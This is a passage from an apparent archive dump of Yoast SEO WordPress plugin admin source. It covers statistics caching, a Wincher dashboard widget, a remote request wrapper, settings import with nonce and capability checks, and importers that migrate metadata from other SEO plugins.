		echo '<ul class="' . esc_attr( $class . '--motivation' ) . '">' . $arguments_html . '</ul>';

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Correctly escaped in $upgrade_button and $button_text above.
		echo '<p>' . $upgrade_button . '</p>';
		echo '</div>';

		echo '</div>';
	}

	/**
	 * Formats the argument to a HTML list item.
	 *
	 * @param string $argument The argument to format.
	 *
	 * @return string Formatted argument in HTML.
	 */
	protected function get_argument_html( $argument ) {
		$class = $this->get_html_class();

		return sprintf(
			'<li><div class="%1$s">%2$s</div></li>',
			esc_attr( $class . '--argument' ),
			$argument
		);
	}

	/**
	 * Returns the HTML base class to use.
	 *
	 * @return string The HTML base class.
	 */
	protected function get_html_class() {
		return 'yoast_' . $this->identifier;
	}
}
wordpress-seo/admin/class-option-tab.php000064400000004334147510273110014345 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Options\Tabs
 */

/**
 * Class WPSEO_Option_Tab.
 */
class WPSEO_Option_Tab {

	/**
	 * Name of the tab.
	 *
	 * @var string
	 */
	private $name;

	/**
	 * Label of the tab.
	 *
	 * @var string
	 */
	private $label;

	/**
	 * Optional arguments.
	 *
	 * @var array
	 */
	private $arguments;

	/**
	 * WPSEO_Option_Tab constructor.
	 *
	 * @param string $name      Name of the tab.
	 * @param string $label     Localized label of the tab.
	 * @param array  $arguments Optional arguments.
	 */
	public function __construct( $name, $label, array $arguments = [] ) {
		$this->name      = sanitize_title( $name );
		$this->label     = $label;
		$this->arguments = $arguments;
	}

	/**
	 * Gets the name.
	 *
	 * @return string The name.
	 */
	public function get_name() {
		return $this->name;
	}

	/**
	 * Gets the label.
	 *
	 * @return string The label.
	 */
	public function get_label() {
		return $this->label;
	}

	/**
	 * Retrieves whether the tab needs a save button.
	 *
	 * @return bool True whether the tabs needs a save button.
	 */
	public function has_save_button() {
		return (bool) $this->get_argument( 'save_button', true );
	}

	/**
	 * Retrieves whether the tab hosts beta functionalities.
	 *
	 * @return bool True whether the tab hosts beta functionalities.
	 */
	public function is_beta() {
		return (bool) $this->get_argument( 'beta', false );
	}

	/**
	 * Retrieves whether the tab hosts premium functionalities.
	 *
	 * @return bool True whether the tab hosts premium functionalities.
	 */
	public function is_premium() {
		return (bool) $this->get_argument( 'premium', false );
	}

	/**
	 * Gets the option group.
	 *
	 * @return string The option group.
	 */
	public function get_opt_group() {
		return $this->get_argument( 'opt_group' );
	}

	/**
	 * Retrieves the variable from the supplied arguments.
	 *
	 * @param string       $variable      Variable to retrieve.
	 * @param string|mixed $default_value Default to use when variable not found.
	 *
	 * @return mixed|string The retrieved variable.
	 */
	protected function get_argument( $variable, $default_value = '' ) {
		return array_key_exists( $variable, $this->arguments ) ? $this->arguments[ $variable ] : $default_value;
	}
}
wordpress-seo/admin/statistics/class-statistics-service.php000064400000016075147510273110020320 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Statistics
 */

/**
 * Class WPSEO_Statistics_Service.
 */
class WPSEO_Statistics_Service {

	/**
	 * Cache transient id.
	 *
	 * @var string
	 */
	public const CACHE_TRANSIENT_KEY = 'wpseo-statistics-totals';

	/**
	 * Class that generates interesting statistics about things.
	 *
	 * @var WPSEO_Statistics
	 */
	protected $statistics;

	/**
	 * Statistics labels.
	 *
	 * @var string[]
	 */
	protected $labels;

	/**
	 * WPSEO_Statistics_Service contructor.
	 *
	 * @param WPSEO_Statistics $statistics The statistics class to retrieve statistics from.
	 */
	public function __construct( WPSEO_Statistics $statistics ) {
		$this->statistics = $statistics;
	}

	/**
	 * Fetches statistics by REST request.
	 *
	 * @return WP_REST_Response The response object.
	 */
	public function get_statistics() {
		// Switch to the user locale with fallback to the site locale.
		switch_to_locale( get_user_locale() );

		$this->labels = $this->labels();
		$statistics   = $this->statistic_items();

		$data = [
			'header'     => $this->get_header_from_statistics( $statistics ),
			'seo_scores' => $statistics['scores'],
		];

		return new WP_REST_Response( $data );
	}

	/**
	 * Gets a header summarizing the given statistics results.
	 *
	 * @param array $statistics The statistics results.
	 *
	 * @return string The header summing up the statistics results.
	 */
	private function get_header_from_statistics( array $statistics ) {
		// Personal interpretation to allow release, should be looked at later.
		if ( $statistics['division'] === false ) {
			return __( 'You don\'t have any published posts, your SEO scores will appear here once you make your first post!', 'wordpress-seo' );
		}

		if ( $statistics['division']['good'] > 0.66 ) {
			return __( 'Hey, your SEO is doing pretty well! Check out the stats:', 'wordpress-seo' );
		}

		return __( 'Below are your published posts\' SEO scores. Now is as good a time as any to start improving some of your posts!', 'wordpress-seo' );
	}

	/**
	 * An array representing items to be added to the At a Glance dashboard widget.
	 *
	 * @return array The statistics for the current user.
	 */
	private function statistic_items() {
		$transient = $this->get_transient();
		$user_id   = get_current_user_id();

		if ( isset( $transient[ $user_id ] ) ) {
			return $transient[ $user_id ];
		}

		return $this->set_statistic_items_for_user( $transient, $user_id );
	}

	/**
	 * Gets the statistics transient value. Returns array if transient wasn't set.
	 *
	 * @return array|mixed Returns the transient or an empty array if the transient doesn't exist.
	 */
	private function get_transient() {
		$transient = get_transient( self::CACHE_TRANSIENT_KEY );

		if ( $transient === false ) {
			return [];
		}

		return $transient;
	}

	/**
	 * Set the statistics transient cache for a specific user.
	 *
	 * @param array $transient The current stored transient with the cached data.
	 * @param int   $user      The user's ID to assign the retrieved values to.
	 *
	 * @return array The statistics transient for the user.
	 */
	private function set_statistic_items_for_user( $transient, $user ) {
		$scores   = $this->get_seo_scores_with_post_count();
		$division = $this->get_seo_score_division( $scores );

		$transient[ $user ] = [
			// Use array_values because array_filter may return non-zero indexed arrays.
			'scores'   => array_values( array_filter( $scores, [ $this, 'filter_items' ] ) ),
			'division' => $division,
		];

		set_transient( self::CACHE_TRANSIENT_KEY, $transient, DAY_IN_SECONDS );

		return $transient[ $user ];
	}

	/**
	 * Gets the division of SEO scores.
	 *
	 * @param array $scores The SEO scores.
	 *
	 * @return array|bool The division of SEO scores, false if there are no posts.
	 */
	private function get_seo_score_division( array $scores ) {
		$total    = 0;
		$division = [];

		foreach ( $scores as $score ) {
			$total += $score['count'];
		}

		if ( $total === 0 ) {
			return false;
		}

		foreach ( $scores as $score ) {
			$division[ $score['seo_rank'] ] = ( $score['count'] / $total );
		}

		return $division;
	}

	/**
	 * Get all SEO ranks and data associated with them.
	 *
	 * @return array An array of SEO scores and associated data.
	 */
	private function get_seo_scores_with_post_count() {
		$ranks = WPSEO_Rank::get_all_ranks();

		return array_map( [ $this, 'map_rank_to_widget' ], $ranks );
	}

	/**
	 * Converts a rank to data usable in the dashboard widget.
	 *
	 * @param WPSEO_Rank $rank The rank to map.
	 *
	 * @return array The mapped rank.
	 */
	private function map_rank_to_widget( WPSEO_Rank $rank ) {
		return [
			'seo_rank' => $rank->get_rank(),
			'label'    => $this->get_label_for_rank( $rank ),
			'count'    => $this->statistics->get_post_count( $rank ),
			'link'     => $this->get_link_for_rank( $rank ),
		];
	}

	/**
	 * Returns a dashboard widget label to use for a certain rank.
	 *
	 * @param WPSEO_Rank $rank The rank to return a label for.
	 *
	 * @return string The label for the rank.
	 */
	private function get_label_for_rank( WPSEO_Rank $rank ) {
		return $this->labels[ $rank->get_rank() ];
	}

	/**
	 * Determines the labels for the various scoring ranks that are known within Yoast SEO.
	 *
	 * @return array Array containing the translatable labels.
	 */
	private function labels() {
		return [
			WPSEO_Rank::NO_FOCUS => sprintf(
				/* translators: %1$s expands to an opening strong tag, %2$s expands to a closing strong tag */
				__( 'Posts %1$swithout%2$s a focus keyphrase', 'wordpress-seo' ),
				'<strong>',
				'</strong>'
			),
			WPSEO_Rank::BAD      => sprintf(
				/* translators: %s expands to the score */
				__( 'Posts with the SEO score: %s', 'wordpress-seo' ),
				'<strong>' . __( 'Needs improvement', 'wordpress-seo' ) . '</strong>'
			),
			WPSEO_Rank::OK       => sprintf(
				/* translators: %s expands to the score */
				__( 'Posts with the SEO score: %s', 'wordpress-seo' ),
				'<strong>' . __( 'OK', 'wordpress-seo' ) . '</strong>'
			),
			WPSEO_Rank::GOOD     => sprintf(
				/* translators: %s expands to the score */
				__( 'Posts with the SEO score: %s', 'wordpress-seo' ),
				'<strong>' . __( 'Good', 'wordpress-seo' ) . '</strong>'
			),
			WPSEO_Rank::NO_INDEX => __( 'Posts that should not show up in search results', 'wordpress-seo' ),
		];
	}

	/**
	 * Filter items if they have a count of zero.
	 *
	 * @param array $item The item to potentially filter out.
	 *
	 * @return bool Whether or not the count is zero.
	 */
	private function filter_items( $item ) {
		return $item['count'] !== 0;
	}

	/**
	 * Returns a link for the overview of posts of a certain rank.
	 *
	 * @param WPSEO_Rank $rank The rank to return a link for.
	 *
	 * @return string The link that shows an overview of posts with that rank.
	 */
	private function get_link_for_rank( WPSEO_Rank $rank ) {
		if ( current_user_can( 'edit_others_posts' ) === false ) {
			return esc_url( admin_url( 'edit.php?post_status=publish&post_type=post&seo_filter=' . $rank->get_rank() . '&author=' . get_current_user_id() ) );
		}

		return esc_url( admin_url( 'edit.php?post_status=publish&post_type=post&seo_filter=' . $rank->get_rank() ) );
	}
}
wordpress-seo/admin/statistics/class-statistics-integration.php000064400000001347147510273110021177 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Statistics
 */

/**
 * Class WPSEO_Statistic_Integration.
 */
class WPSEO_Statistic_Integration implements WPSEO_WordPress_Integration {

	/**
	 * Adds hooks to clear the cache.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'wp_insert_post', [ $this, 'clear_cache' ] );
		add_action( 'delete_post', [ $this, 'clear_cache' ] );
	}

	/**
	 * Clears the dashboard widget items cache.
	 *
	 * @return void
	 */
	public function clear_cache() {
		// Bail if this is a multisite installation and the site has been switched.
		if ( is_multisite() && ms_is_switched() ) {
			return;
		}

		delete_transient( WPSEO_Statistics_Service::CACHE_TRANSIENT_KEY );
	}
}
wordpress-seo/admin/class-wincher-dashboard-widget.php000064400000007037147510273110017141 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Wincher dashboard widget.
 */
class Wincher_Dashboard_Widget implements WPSEO_WordPress_Integration {

	/**
	 * Holds an instance of the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Wincher_Dashboard_Widget constructor.
	 */
	public function __construct() {
		$this->asset_manager = new WPSEO_Admin_Asset_Manager();
	}

	/**
	 * Register WordPress hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_wincher_dashboard_assets' ] );
		add_action( 'admin_init', [ $this, 'queue_wincher_dashboard_widget' ] );
	}

	/**
	 * Adds the Wincher dashboard widget if it should be shown.
	 *
	 * @return void
	 */
	public function queue_wincher_dashboard_widget() {
		if ( $this->show_widget() ) {
			add_action( 'wp_dashboard_setup', [ $this, 'add_wincher_dashboard_widget' ] );
		}
	}

	/**
	 * Adds the Wincher dashboard widget to WordPress.
	 *
	 * @return void
	 */
	public function add_wincher_dashboard_widget() {
		add_filter( 'postbox_classes_dashboard_wpseo-wincher-dashboard-overview', [ $this, 'wpseo_wincher_dashboard_overview_class' ] );
		wp_add_dashboard_widget(
			'wpseo-wincher-dashboard-overview',
			/* translators: %1$s expands to Yoast SEO, %2$s to Wincher */
			sprintf( __( '%1$s / %2$s: Top Keyphrases', 'wordpress-seo' ), 'Yoast SEO', 'Wincher' ),
			[ $this, 'display_wincher_dashboard_widget' ]
		);
	}

	/**
	 * Adds CSS classes to the dashboard widget.
	 *
	 * @param array $classes An array of postbox CSS classes.
	 *
	 * @return array
	 */
	public function wpseo_wincher_dashboard_overview_class( $classes ) {
		$classes[] = 'yoast wpseo-wincherdashboard-overview';
		return $classes;
	}

	/**
	 * Displays the Wincher dashboard widget.
	 *
	 * @return void
	 */
	public function display_wincher_dashboard_widget() {
		echo '<div id="yoast-seo-wincher-dashboard-widget"></div>';
	}

	/**
	 * Enqueues assets for the dashboard if the current page is the dashboard.
	 *
	 * @return void
	 */
	public function enqueue_wincher_dashboard_assets() {
		if ( ! $this->is_dashboard_screen() ) {
			return;
		}

		$this->asset_manager->localize_script( 'wincher-dashboard-widget', 'wpseoWincherDashboardWidgetL10n', $this->localize_wincher_dashboard_script() );
		$this->asset_manager->enqueue_script( 'wincher-dashboard-widget' );
		$this->asset_manager->enqueue_style( 'wp-dashboard' );
		$this->asset_manager->enqueue_style( 'monorepo' );
	}

	/**
	 * Translates strings used in the Wincher dashboard widget.
	 *
	 * @return array The translated strings.
	 */
	public function localize_wincher_dashboard_script() {

		return [
			'wincher_is_logged_in' => YoastSEO()->helpers->wincher->login_status(),
			'wincher_website_id'   => WPSEO_Options::get( 'wincher_website_id', '' ),
		];
	}

	/**
	 * Checks if the current screen is the dashboard screen.
	 *
	 * @return bool Whether or not this is the dashboard screen.
	 */
	private function is_dashboard_screen() {
		$current_screen = get_current_screen();

		return ( $current_screen instanceof WP_Screen && $current_screen->id === 'dashboard' );
	}

	/**
	 * Returns true when the Wincher dashboard widget should be shown.
	 *
	 * @return bool
	 */
	private function show_widget() {
		$analysis_seo      = new WPSEO_Metabox_Analysis_SEO();
		$user_can_edit     = $analysis_seo->is_enabled() && current_user_can( 'edit_posts' );
		$is_wincher_active = YoastSEO()->helpers->wincher->is_active();

		return $user_can_edit && $is_wincher_active;
	}
}
wordpress-seo/admin/class-remote-request.php000064400000006203147510273110015247 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * This class handles a post request being send to a given endpoint.
 */
class WPSEO_Remote_Request {

	/**
	 * Holds the post method.
	 *
	 * @var string
	 */
	public const METHOD_POST = 'post';

	/**
	 * Holds the get method.
	 *
	 * @var string
	 */
	public const METHOD_GET = 'get';

	/**
	 * Holds the endpoint to send the request to.
	 *
	 * @var string
	 */
	protected $endpoint = '';

	/**
	 * Holds the arguments to use in this request.
	 *
	 * @var array
	 */
	protected $args = [
		'blocking'  => false,
		'timeout'   => 2,
	];

	/**
	 * Holds the response error.
	 *
	 * @var WP_Error|null
	 */
	protected $response_error;

	/**
	 * Holds the response body.
	 *
	 * @var mixed
	 */
	protected $response_body;

	/**
	 * Sets the endpoint and arguments.
	 *
	 * @param string $endpoint The endpoint to send the request to.
	 * @param array  $args     The arguments to use in this request.
	 */
	public function __construct( $endpoint, array $args = [] ) {
		$this->endpoint = $endpoint;
		$this->args     = wp_parse_args( $this->args, $args );
	}

	/**
	 * Sets the request body.
	 *
	 * @param mixed $body The body to set.
	 *
	 * @return void
	 */
	public function set_body( $body ) {
		$this->args['body'] = $body;
	}

	/**
	 * Sends the data to the given endpoint.
	 *
	 * @param string $method The type of request to send.
	 *
	 * @return bool True when sending data has been successful.
	 */
	public function send( $method = self::METHOD_POST ) {
		switch ( $method ) {
			case self::METHOD_POST:
				$response = $this->post();
				break;
			case self::METHOD_GET:
				$response = $this->get();
				break;
			default:
				/* translators: %1$s expands to the request method  */
				$response = new WP_Error( 1, sprintf( __( 'Request method %1$s is not valid.', 'wordpress-seo' ), $method ) );
				break;
		}

		return $this->process_response( $response );
	}

	/**
	 * Returns the value of the response error.
	 *
	 * @return WP_Error|null The response error.
	 */
	public function get_response_error() {
		return $this->response_error;
	}

	/**
	 * Returns the response body.
	 *
	 * @return mixed The response body.
	 */
	public function get_response_body() {
		return $this->response_body;
	}

	/**
	 * Processes the given response.
	 *
	 * @param mixed $response The response to process.
	 *
	 * @return bool True when response is valid.
	 */
	protected function process_response( $response ) {
		if ( $response instanceof WP_Error ) {
			$this->response_error = $response;

			return false;
		}

		$this->response_body = wp_remote_retrieve_body( $response );

		return ( wp_remote_retrieve_response_code( $response ) === 200 );
	}

	/**
	 * Performs a post request to the specified endpoint with set arguments.
	 *
	 * @return WP_Error|array The response or WP_Error on failure.
	 */
	protected function post() {
		return wp_remote_post( $this->endpoint, $this->args );
	}

	/**
	 * Performs a post request to the specified endpoint with set arguments.
	 *
	 * @return WP_Error|array The response or WP_Error on failure.
	 */
	protected function get() {
		return wp_remote_get( $this->endpoint, $this->args );
	}
}
wordpress-seo/admin/import/class-import-detector.php000064400000001355147510273110016724 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class WPSEO_Import_Plugins_Detector.
 *
 * Class with functionality to detect whether we should import from another SEO plugin.
 */
class WPSEO_Import_Plugins_Detector {

	/**
	 * Plugins we need to import from.
	 *
	 * @var array
	 */
	public $needs_import = [];

	/**
	 * Detects whether we need to import anything.
	 *
	 * @return void
	 */
	public function detect() {
		foreach ( WPSEO_Plugin_Importers::get() as $importer_class ) {
			$importer = new $importer_class();
			$detect   = new WPSEO_Import_Plugin( $importer, 'detect' );
			if ( $detect->status->status ) {
				$this->needs_import[ $importer_class ] = $importer->get_plugin_name();
			}
		}
	}
}
wordpress-seo/admin/import/class-import-settings.php000064400000005714147510273110016756 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Import
 */

/**
 * Class WPSEO_Import_Settings.
 *
 * Class with functionality to import the Yoast SEO settings.
 */
class WPSEO_Import_Settings {

	/**
	 * Nonce action key.
	 *
	 * @var string
	 */
	public const NONCE_ACTION = 'wpseo-import-settings';

	/**
	 * Holds the import status instance.
	 *
	 * @var WPSEO_Import_Status
	 */
	public $status;

	/**
	 * Holds the old WPSEO version.
	 *
	 * @var string
	 */
	private $old_wpseo_version;

	/**
	 * Class constructor.
	 */
	public function __construct() {
		$this->status = new WPSEO_Import_Status( 'import', false );
	}

	/**
	 * Imports the data submitted by the user.
	 *
	 * @return void
	 */
	public function import() {
		check_admin_referer( self::NONCE_ACTION );

		if ( ! WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' ) ) {
			return;
		}

		if ( ! isset( $_POST['settings_import'] ) || ! is_string( $_POST['settings_import'] ) ) {
			return;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: The raw content will be parsed afterwards.
		$content = wp_unslash( $_POST['settings_import'] );

		if ( empty( $content ) ) {
			return;
		}

		$this->parse_options( $content );
	}

	/**
	 * Parse the options.
	 *
	 * @param string $raw_options The content to parse.
	 *
	 * @return void
	 */
	protected function parse_options( $raw_options ) {
		$options = parse_ini_string( $raw_options, true, INI_SCANNER_RAW );

		if ( is_array( $options ) && $options !== [] ) {
			$this->import_options( $options );

			return;
		}

		$this->status->set_msg( __( 'Settings could not be imported:', 'wordpress-seo' ) . ' ' . __( 'No settings found.', 'wordpress-seo' ) );
	}

	/**
	 * Parse the option group and import it.
	 *
	 * @param string $name         Name string.
	 * @param array  $option_group Option group data.
	 * @param array  $options      Options data.
	 *
	 * @return void
	 */
	protected function parse_option_group( $name, $option_group, $options ) {
		// Make sure that the imported options are cleaned/converted on import.
		$option_instance = WPSEO_Options::get_option_instance( $name );
		if ( is_object( $option_instance ) && method_exists( $option_instance, 'import' ) ) {
			$option_instance->import( $option_group, $this->old_wpseo_version, $options );
		}
	}

	/**
	 * Imports the options if found.
	 *
	 * @param array $options The options parsed from the provided settings.
	 *
	 * @return void
	 */
	protected function import_options( $options ) {
		if ( isset( $options['wpseo']['version'] ) && $options['wpseo']['version'] !== '' ) {
			$this->old_wpseo_version = $options['wpseo']['version'];
		}

		foreach ( $options as $name => $option_group ) {
			$this->parse_option_group( $name, $option_group, $options );
		}

		$this->status->set_msg( __( 'Settings successfully imported.', 'wordpress-seo' ) );
		$this->status->set_status( true );

		// Reset the cached option values.
		WPSEO_Options::clear_cache();
	}
}
wordpress-seo/admin/import/class-import-plugin.php000064400000002667147510273110016420 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class WPSEO_Import_Plugin.
 *
 * Class with functionality to import Yoast SEO settings from other plugins.
 */
class WPSEO_Import_Plugin {

	/**
	 * Holds the status of and message about imports.
	 *
	 * @var WPSEO_Import_Status
	 */
	public $status;

	/**
	 * Class with functionality to import meta data from other plugins.
	 *
	 * @var WPSEO_Plugin_Importer
	 */
	protected $importer;

	/**
	 * Import class constructor.
	 *
	 * @param WPSEO_Plugin_Importer $importer The importer that needs to perform this action.
	 * @param string                $action   The action to perform.
	 */
	public function __construct( WPSEO_Plugin_Importer $importer, $action ) {
		$this->importer = $importer;

		switch ( $action ) {
			case 'cleanup':
				$this->status = $this->importer->run_cleanup();
				break;
			case 'import':
				$this->status = $this->importer->run_import();
				break;
			case 'detect':
			default:
				$this->status = $this->importer->run_detect();
		}

		$this->status->set_msg( $this->complete_msg( $this->status->get_msg() ) );
	}

	/**
	 * Convenience function to replace %s with plugin name in import message.
	 *
	 * @param string $msg Message string.
	 *
	 * @return string Returns message with plugin name instead of replacement variables.
	 */
	protected function complete_msg( $msg ) {
		return sprintf( $msg, $this->importer->get_plugin_name() );
	}
}
wordpress-seo/admin/import/class-import-status.php000064400000005312147510273110016433 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Import
 */

/**
 * Class WPSEO_ImportStatus.
 *
 * Holds the status of and message about imports.
 */
class WPSEO_Import_Status {

	/**
	 * The import status.
	 *
	 * @var bool
	 */
	public $status = false;

	/**
	 * The import message.
	 *
	 * @var string
	 */
	private $msg = '';

	/**
	 * The type of action performed.
	 *
	 * @var string
	 */
	private $action;

	/**
	 * WPSEO_Import_Status constructor.
	 *
	 * @param string $action The type of import action.
	 * @param bool   $status The status of the import.
	 * @param string $msg    Extra messages about the status.
	 */
	public function __construct( $action, $status, $msg = '' ) {
		$this->action = $action;
		$this->status = $status;
		$this->msg    = $msg;
	}

	/**
	 * Get the import message.
	 *
	 * @return string Message about current status.
	 */
	public function get_msg() {
		if ( $this->msg !== '' ) {
			return $this->msg;
		}

		if ( $this->status === false ) {
			/* translators: %s is replaced with the name of the plugin we're trying to find data from. */
			return __( '%s data not found.', 'wordpress-seo' );
		}

		return $this->get_default_success_message();
	}

	/**
	 * Get the import action.
	 *
	 * @return string Import action type.
	 */
	public function get_action() {
		return $this->action;
	}

	/**
	 * Set the import action, set status to false.
	 *
	 * @param string $action The type of action to set as import action.
	 *
	 * @return void
	 */
	public function set_action( $action ) {
		$this->action = $action;
		$this->status = false;
	}

	/**
	 * Sets the importer status message.
	 *
	 * @param string $msg The message to set.
	 *
	 * @return void
	 */
	public function set_msg( $msg ) {
		$this->msg = $msg;
	}

	/**
	 * Sets the importer status.
	 *
	 * @param bool $status The status to set.
	 *
	 * @return WPSEO_Import_Status The current object.
	 */
	public function set_status( $status ) {
		$this->status = (bool) $status;

		return $this;
	}

	/**
	 * Returns a success message depending on the action.
	 *
	 * @return string Returns a success message for the current action.
	 */
	private function get_default_success_message() {
		switch ( $this->action ) {
			case 'import':
				/* translators: %s is replaced with the name of the plugin we're importing data from. */
				return __( '%s data successfully imported.', 'wordpress-seo' );
			case 'cleanup':
				/* translators: %s is replaced with the name of the plugin we're removing data from. */
				return __( '%s data successfully removed.', 'wordpress-seo' );
			case 'detect':
			default:
				/* translators: %s is replaced with the name of the plugin we've found data from. */
				return __( '%s data found.', 'wordpress-seo' );
		}
	}
}
wordpress-seo/admin/import/plugins/class-import-platinum-seo-pack.php000064400000005510147510273110022122 0ustar00<?php
/**
 * File with the class to handle data from Platinum SEO Pack.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class with functionality to import & clean Ultimate SEO post metadata.
 */
class WPSEO_Import_Platinum_SEO extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'Platinum SEO Pack';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = 'title';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => 'description',
			'new_key' => 'metadesc',
		],
		[
			'old_key' => 'title',
			'new_key' => 'title',
		],
	];

	/**
	 * Runs the import of post meta keys stored by Platinum SEO Pack.
	 *
	 * @return bool
	 */
	protected function import() {
		$return = parent::import();
		if ( $return ) {
			$this->import_robots_meta();
		}

		return $return;
	}

	/**
	 * Cleans up all the meta values Platinum SEO pack creates.
	 *
	 * @return bool
	 */
	protected function cleanup() {
		$this->meta_key = 'title';
		parent::cleanup();

		$this->meta_key = 'description';
		parent::cleanup();

		$this->meta_key = 'metarobots';
		parent::cleanup();

		return true;
	}

	/**
	 * Finds all the robotsmeta fields to import and deals with them.
	 *
	 * There are four potential values that Platinum SEO stores:
	 * - index,folllow
	 * - index,nofollow
	 * - noindex,follow
	 * - noindex,nofollow
	 *
	 * We only have to deal with the latter 3, the first is our default.
	 *
	 * @return void
	 */
	protected function import_robots_meta() {
		$this->import_by_meta_robots( 'index,nofollow', [ 'nofollow' ] );
		$this->import_by_meta_robots( 'noindex,follow', [ 'noindex' ] );
		$this->import_by_meta_robots( 'noindex,nofollow', [ 'noindex', 'nofollow' ] );
	}

	/**
	 * Imports the values for all index, nofollow posts.
	 *
	 * @param string $value The meta robots value to find posts for.
	 * @param array  $metas The meta field(s) to save.
	 *
	 * @return void
	 */
	protected function import_by_meta_robots( $value, $metas ) {
		$posts = $this->find_posts_by_robots_meta( $value );
		if ( ! $posts ) {
			return;
		}

		foreach ( $posts as $post_id ) {
			foreach ( $metas as $meta ) {
				$this->maybe_save_post_meta( 'meta-robots-' . $meta, 1, $post_id );
			}
		}
	}

	/**
	 * Finds posts by a given meta robots value.
	 *
	 * @param string $meta_value Robots meta value.
	 *
	 * @return array|bool Array of Post IDs on success, false on failure.
	 */
	protected function find_posts_by_robots_meta( $meta_value ) {
		$posts = get_posts(
			[
				'post_type'  => 'any',
				'meta_key'   => 'robotsmeta',
				'meta_value' => $meta_value,
				'order'      => 'ASC',
				'fields'     => 'ids',
				'nopaging'   => true,
			]
		);
		if ( empty( $posts ) ) {
			return false;
		}
		return $posts;
	}
}
wordpress-seo/admin/import/plugins/class-import-ultimate-seo.php000064400000002262147510273110021202 0ustar00<?php
/**
 * File with the class to handle data from Ultimate SEO.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class with functionality to import & clean Ultimate SEO post metadata.
 */
class WPSEO_Import_Ultimate_SEO extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'Ultimate SEO';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = '_su_%';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => '_su_description',
			'new_key' => 'metadesc',
		],
		[
			'old_key' => '_su_title',
			'new_key' => 'title',
		],
		[
			'old_key' => '_su_og_title',
			'new_key' => 'opengraph-title',
		],
		[
			'old_key' => '_su_og_description',
			'new_key' => 'opengraph-description',
		],
		[
			'old_key' => '_su_og_image',
			'new_key' => 'opengraph-image',
		],
		[
			'old_key' => '_su_meta_robots_noindex',
			'new_key' => 'meta-robots-noindex',
			'convert' => [ 'on' => 1 ],
		],
		[
			'old_key' => '_su_meta_robots_nofollow',
			'new_key' => 'meta-robots-nofollow',
			'convert' => [ 'on' => 1 ],
		],
	];
}
wordpress-seo/admin/import/plugins/class-import-aioseo.php000064400000004717147510273110020060 0ustar00<?php
/**
 * File with the class to handle data from All in One SEO Pack, versions 3 and under.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class with functionality to import & clean All in One SEO Pack post metadata, versions 3 and under.
 */
class WPSEO_Import_AIOSEO extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'All In One SEO Pack';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = '_aioseop_%';

	/**
	 * OpenGraph keys to import.
	 *
	 * @var array
	 */
	protected $import_keys = [
		'aioseop_opengraph_settings_title'             => 'opengraph-title',
		'aioseop_opengraph_settings_desc'              => 'opengraph-description',
		'aioseop_opengraph_settings_customimg'         => 'opengraph-image',
		'aioseop_opengraph_settings_customimg_twitter' => 'twitter-image',
	];

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => '_aioseop_title',
			'new_key' => 'title',
		],
		[
			'old_key' => '_aioseop_description',
			'new_key' => 'metadesc',
		],
		[
			'old_key' => '_aioseop_noindex',
			'new_key' => 'meta-robots-noindex',
			'convert' => [ 'on' => 1 ],
		],
		[
			'old_key' => '_aioseop_nofollow',
			'new_key' => 'meta-robots-nofollow',
			'convert' => [ 'on' => 1 ],
		],
	];

	/**
	 * Import All In One SEO meta values.
	 *
	 * @return bool Import success status.
	 */
	protected function import() {
		$status = parent::import();
		if ( $status ) {
			$this->import_opengraph();
		}
		return $status;
	}

	/**
	 * Imports the OpenGraph and Twitter settings for all posts.
	 *
	 * @return bool
	 */
	protected function import_opengraph() {
		$query_posts = new WP_Query( 'post_type=any&meta_key=_aioseop_opengraph_settings&order=ASC&fields=ids&nopaging=true' );

		if ( ! empty( $query_posts->posts ) ) {
			foreach ( array_values( $query_posts->posts ) as $post_id ) {
				$this->import_post_opengraph( $post_id );
			}
		}

		return true;
	}

	/**
	 * Imports the OpenGraph and Twitter settings for a single post.
	 *
	 * @param int $post_id Post ID.
	 *
	 * @return void
	 */
	private function import_post_opengraph( $post_id ) {
		$meta = get_post_meta( $post_id, '_aioseop_opengraph_settings', true );
		$meta = maybe_unserialize( $meta );

		foreach ( $this->import_keys as $old_key => $new_key ) {
			$this->maybe_save_post_meta( $new_key, $meta[ $old_key ], $post_id );
		}
	}
}
